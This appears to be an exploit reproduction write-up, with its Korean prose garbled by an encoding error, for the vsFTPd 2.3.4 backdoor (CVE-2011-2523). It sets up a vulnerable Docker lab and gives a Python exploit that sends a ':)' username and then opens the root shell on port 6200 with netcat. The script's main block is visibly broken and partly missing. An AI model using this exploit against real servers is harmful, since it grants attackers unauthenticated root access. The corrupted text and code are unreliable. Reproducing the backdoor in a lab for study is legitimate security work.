Share
## https://sploitus.com/exploit?id=CC3F6C15-182F-53F6-A5CC-812D37F1F047
# vsFTPd 2.3.4 λ°±λμ΄ μ·¨μ½μ (CVE-2011-2523) μ¬ν
## μ·¨μ½μ μ 보
[CVE-2011-2523](https://nvd.nist.gov/vuln/detail/CVE-2011-2523)μ vsFTPd 2.3.4 λ²μ μ μ‘΄μ¬νλ **λ°±λμ΄ μ·¨μ½μ **μ
λλ€. μ΄ μ·¨μ½μ μ 곡격μκ° FTP μλ²μ νΉμ μ¬μ©μ μ΄λ¦(`:)` ν¬ν¨)μ μ μ‘νλ©΄ **ν¬νΈ 6200**μμ **λ£¨νΈ κΆν μ**μ μ΄ μ μκ² ν©λλ€. μ΄λ κ°λ°μκ° μλμ μΌλ‘ μ½μ
ν λ°±λμ΄λ‘, μΈμ¦ μμ΄ μμ€ν
μ μ κ·Ό κ°λ₯ν΄ λ§€μ° μΉλͺ
μ μ
λλ€. μ΄ μ·¨μ½μ μ 2011λ
λ°κ²¬λμ΄ ν¨μΉ(vsFTPd 2.3.5 μ΄μ)λμμΌλ©°, 곡μ μμΉ΄μ΄λΈμμλ μ κ±°λμμ§λ§, ν
μ€νΈμ©μΌλ‘ μ¬ν κ°λ₯ν©λλ€.
## μλ리μ€
1. 곡격μκ° vsFTPd 2.3.4 μλΉμ€μ μ¬μ©μ μ΄λ¦(μ: AAAA:))μ ν¬ν¨ν μ격 μ¦λͺ
μ μμ²ν©λλ€.
2. μλ²κ° λ°±λμ΄λ₯Ό νΈλ¦¬κ±°νμ¬ **ν¬νΈ 6200/TCP**μμ λ£¨νΈ κΆν μμ μ½λλ€.
3. 곡격μκ° netcat(nc)μΌλ‘ ν¬νΈ 6200μ μ°κ²°ν΄ μμ€ν
μ μ΄κΆμ νλν©λλ€.
## μ¬ν νκ²½ μ€μ
곡μ vsFTPd 2.3.4 μμΉ΄μ΄λΈλ μ κ±°λμμ§λ§, [GitHub repository](https://github.com/clintmint/vsftpd-2.3.4-container)λ₯Ό νμ©ν΄ Dockerλ‘ μ·¨μ½ν μλ²λ₯Ό ꡬμΆν μ μμ΅λλ€.
### 1. μ·¨μ½μ μλ² κ΅¬λ
``` shell
docker run --name victim -p 21:21 -p 6200:6200 -it clintmint/vsftpd-2.3.4:1.0 sh -c "start-vsftpd && sh"
```
- -p 21:21: FTP μλΉμ€ ν¬νΈ λ§€ν.
- -p 6200:6200: λ°±λμ΄ μ ν¬νΈ λ§€ν.
- start-vsftpd: vsFTPd μλΉμ€ μμ.
### 2. μ΅μ€νλ‘μ ꡬν
μ΄ μ·¨μ½μ μ νΈλ¦¬κ±° μ‘°κ±΄μ΄ λ¨μν©λλ€.
μ¬μ©μ μ΄λ¦μ `:)`λ₯Ό ν¬ν¨νκ³ , μμ λΉλ°λ²νΈλ‘ FTP μμ² ν ν¬νΈ 6200μ μ°κ²°νλ©΄ μ
Έμ νλ ν μ μμ΅λλ€.
μλλ PythonμΌλ‘ ꡬνν μ΅μ€νλ‘μ μ½λμ
λλ€.
``` python
import socket
import subprocess
import time
import sys
def exploit(ip, port = 21):
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.settimeout(5)
_socket.connect((ip, int(port)))
_socket.recv(4096)
_socket.send(b"USER AAAA:)\r\n")
_socket.recv(4096)
_socket.send(b"PASS anything\r\n")
_socket.close()
def connect_shell(ip):
try:
subprocess.run(["nc", ip, "6200"])
except KeyboardInterrupt:
print("\nInterrupted by user.")
if __name__ == "__main__":
if len(sys.argv) 2 else 21)
time.sleep(1)
connect_shell(sys.argv[1])
```